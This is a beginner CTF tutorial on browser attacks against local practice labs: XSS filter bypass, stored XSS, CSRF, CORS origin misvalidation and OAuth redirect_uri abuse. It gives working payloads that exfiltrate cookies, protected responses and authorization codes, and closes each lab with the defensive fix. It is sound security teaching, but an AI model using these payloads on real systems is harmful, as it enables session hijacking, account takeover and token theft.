Tutorial 06 / Browser · 2026-09-15

The Browser as a Weapon

A beginner-friendly CTF tutorial: make a victim’s browser execute code, send authenticated requests, cross origins, and leak an OAuth authorization code.

Injection Beyond SQL followed input into server-side interpreters. Labs 20–24 of h5i-tutorial move the attack into a victim’s browser.

The central idea is simple: we often do not need to steal a credential. If the victim’s browser already has it, we can sometimes make that browser perform the protected action for us.

The labs run locally and include an automated victim browser. They require h5i to be available on PATH, or through H5I. Only use these techniques with explicit authorization.

Lab 20: reflected XSS past a filter

Start the lab:

$ ./run.sh 20
$ h5i browser open 'http://127.0.0.1:9200/' \
  --session lab20 --new --capture

The search page reflects its q parameter but removes <script> tags. The filter performs only one replacement, so a nested tag survives its own transformation:

<scr<script>ipt> ... </script>

After the inner <script> is deleted, the remaining halves join into a new <script> tag.

Create a unique collector ID and a payload that sends the admin cookie back:

$ ID="drop$$"
$ PAYLOAD="<scr<script>ipt>fetch('/collect?id=$ID&c='+encodeURIComponent(document.cookie))</script>"

Confirm that the response really contains a script before asking the admin to visit it:

$ h5i websec replay req_0 --session lab20 --create \
  --set path=/search --set "query.q=$PAYLOAD"

URL-encode the target and report it:

$ TARGET="http://127.0.0.1:9200/search?q=$(python3 -c \
  'import sys,urllib.parse; print(urllib.parse.quote(sys.argv[1]))' "$PAYLOAD")"

$ h5i websec replay req_0 --session lab20 --create \
  --set path=/report --set "query.url=$TARGET"

The admin bot visits the reported URL a few seconds later. Poll the collector until its row appears:

$ h5i websec replay req_0 --session lab20 --create \
  --set path=/collected --set "query.id=$ID"

The body is {"rows": ["session=adm_..."]}. Copy that cookie value and replay the protected request with it:

$ h5i websec replay req_0 --session lab20 --create \
  --set path=/admin/flag \
  --set "cookie.session=PASTE_ADMIN_COOKIE"

The result contains FLAG{reflected_xss_filter}.

The fix is contextual output encoding and a well-tested HTML sanitizer—not a string replacement for one spelling of one tag. A strict Content Security Policy adds defense in depth.

Start the board lab:

$ ./run.sh 21
$ h5i browser open 'http://127.0.0.1:9210/' \
  --session lab21 --new --capture

The moderator’s session cookie is HttpOnly, so JavaScript cannot read it through document.cookie. That protects the cookie from direct theft, but the browser still attaches it to same-origin requests.

Instead of reading the credential, ask the application for the flag and exfiltrate the response:

$ ID="drop$$"
$ PAYLOAD="<script>fetch('/admin/api/flag').then(r=>r.text()).then(t=>fetch('/collect?id=$ID&c='+encodeURIComponent(t)))</script>"

$ h5i websec replay req_0 --session lab21 --create \
  --set method=POST --set path=/api/comment \
  --set header.Content-Type=application/json \
  --set json.who=anon --set "json.body=$PAYLOAD" \
  --set header.X-Board-Url=http://127.0.0.1:9210/board

When the moderator reviews the stored comment, the script runs with the board’s origin and the moderator’s session. Read the collector a few seconds later:

$ h5i websec replay req_0 --session lab21 --create \
  --set path=/collected --set "query.id=$ID"

The row is the percent-encoded body of /admin/api/flag, and it contains FLAG{stored_xss_httponly}.

HttpOnly is valuable, but it does not stop XSS from acting as the victim. Preventing the injection remains essential.

Cross-site request forgery, or CSRF, makes a victim’s browser send an authenticated request from an attacker-controlled page.

Start the lab:

$ ./run.sh 22
$ h5i browser open 'http://127.0.0.1:9220/' \
  --session lab22 --new --capture

The recovery-email endpoint changes state through GET and requires no CSRF token. Host an attacker page on the lab’s second origin:

<img src="http://127.0.0.1:9220/account/recovery-email?email=attacker@evil.example">

Publish it and ask the moderator bot to open it:

$ PAGE='<html><body><img src="http://127.0.0.1:9220/account/recovery-email?email=attacker@evil.example"></body></html>'

$ h5i websec replay req_0 --session lab22 --create \
  --set method=POST --set path=/page \
  --set header.Content-Type=application/json \
  --set json.name=trap --set "json.html=$PAGE"

$ h5i websec replay req_0 --session lab22 --create \
  --set method=POST --set path=/report \
  --set header.Content-Type=application/json \
  --set json.url=http://127.0.0.1:9221/p/trap

The browser loads the image from port 9220 and attaches the moderator’s matching cookie. Request /account/reset to obtain FLAG{csrf_no_token}.

State-changing operations should not use GET. Require an unpredictable CSRF token and validate Origin or Referer; use SameSite cookies as an additional barrier.

Lab 23: a CORS check that ignores the port

An origin consists of a scheme, host, and port. These are different origins:

http://127.0.0.1:9230
http://127.0.0.1:9231

Start the lab and test both an unrelated host and the attacker-controlled second port:

$ ./run.sh 23
$ h5i browser open 'http://127.0.0.1:9230/' \
  --session lab23 --new --capture

$ h5i websec replay req_0 --session lab23 --create \
  --set path=/api/me \
  --set header.Origin=http://127.0.0.1:9231

The server reflects that origin in Access-Control-Allow-Origin and sets Access-Control-Allow-Credentials: true. Its allowlist is a prefix test against http://127.0.0.1, so it stops reading before the port and accepts every port on the machine.

Publish a page on port 9231 that reads /api/me with the victim’s cookies, and report it the same way as in Lab 22:

$ ID="drop$$"
$ PAGE="<html><body><script>
fetch('http://127.0.0.1:9230/api/me',{credentials:'include'})
  .then(r=>r.text())
  .then(t=>fetch('http://127.0.0.1:9230/collect?id=$ID&c='+encodeURIComponent(t)))
</script></body></html>"

$ h5i websec replay req_0 --session lab23 --create \
  --set method=POST --set path=/page \
  --set header.Content-Type=application/json \
  --set json.name=steal --set "json.html=$PAGE"

$ h5i websec replay req_0 --session lab23 --create \
  --set method=POST --set path=/report \
  --set header.Content-Type=application/json \
  --set json.url=http://127.0.0.1:9231/p/steal

A signed-in user opens it, the page reads the credentialed response because the server agreed to the wrong origin, and the collector receives it:

$ h5i websec replay req_0 --session lab23 --create \
  --set path=/collected --set "query.id=$ID"

The row is the percent-encoded body of /api/me, and it contains FLAG{cors_origin_check}.

CORS allowlists must compare parsed, normalized origins exactly. Never use prefix, suffix, substring, or hostname-only checks when credentials are allowed.

Lab 24: OAuth redirect validation as a string bug

Start the SSO lab:

$ ./run.sh 24
$ h5i browser open 'http://127.0.0.1:9240/' \
  --session lab24 --new --capture

The notes client has one registered callback:

http://127.0.0.1:9240/callback

The authorization server incorrectly checks only whether that text appears somewhere inside the supplied redirect_uri.

Create an attacker callback where the registered URL appears inside a query parameter:

http://127.0.0.1:9241/p/callback?next=http://127.0.0.1:9240/callback

URL-encode it and construct the authorization URL:

$ EVIL='http://127.0.0.1:9241/p/callback?next=http://127.0.0.1:9240/callback'
$ ENCODED=$(python3 -c \
  'import sys,urllib.parse; print(urllib.parse.quote(sys.argv[1],safe=""))' "$EVIL")
$ AUTH="http://127.0.0.1:9240/oauth/authorize?client_id=notes&state=xyz&redirect_uri=$ENCODED"

Publish a callback page that records location.search, then send $AUTH to the signed-in victim through /report. The victim is redirected to the attacker page with an authorization code.

$ ID="drop$$"
$ PAGE="<script>fetch('http://127.0.0.1:9240/collect?id=$ID&c='+encodeURIComponent(location.search))</script>"

$ h5i websec replay req_0 --session lab24 --create \
  --set method=POST --set path=/page \
  --set header.Content-Type=application/json \
  --set json.name=callback --set "json.html=$PAGE"

$ h5i websec replay req_0 --session lab24 --create \
  --set method=POST --set path=/report \
  --set header.Content-Type=application/json \
  --set "json.url=$AUTH"

Read the collector, extract the code parameter, and exchange it:

$ h5i websec replay req_0 --session lab24 --create \
  --set path=/collected --set "query.id=$ID"

The row looks like ?next=http://127.0.0.1:9240/callback&code=<hex>&state=xyz.

$ CODE='PASTE_AUTHORIZATION_CODE'
$ h5i websec replay req_0 --session lab24 --create \
  --set method=POST --set path=/oauth/token \
  --set header.Content-Type=application/json \
  --set "json.code=$CODE"
$ TOKEN='PASTE_ACCESS_TOKEN'

Call /api/profile with the access token:

$ h5i websec replay req_0 --session lab24 --create \
  --set path=/api/profile \
  --set "header.Authorization=Bearer $TOKEN"

The profile contains FLAG{oauth_redirect_uri}.

OAuth redirect URIs should be matched exactly after careful parsing. A registered URL appearing as a substring, subdomain, path fragment, or query value is not the registered destination.

The shared browser-security model

These labs used different standards, but the testing questions repeat:

  1. Can attacker-controlled text become executable HTML or JavaScript?
  2. If a cookie cannot be read, can the browser still act with it?
  3. Does a cross-origin check compare scheme, host, and port?
  4. Does a redirect rule validate a destination or merely search a string?
  5. What protected response can the victim’s browser read and send elsewhere?

Summary

Reflected and stored XSS gave code the victim’s origin. CSRF used the victim’s cookie without reading it. A partial CORS check exposed a credentialed response, and substring validation redirected an OAuth code to the wrong origin.

$ for s in lab20 lab21 lab22 lab23 lab24; do
    h5i browser close --session "$s"
  done
$ ./run.sh stop

In SSRF and File Attacks, we will make the server itself the client and combine SSRF, path traversal, uploads, and local file inclusion.

References

Next in the series

SSRF and File Attacks

Make a server reach internal services, bypass URL filters, preserve encoded paths, overwrite security data, and turn a log file into code.

Run the labs yourself

42 deliberately vulnerable applications, one binary, no Docker and no accounts.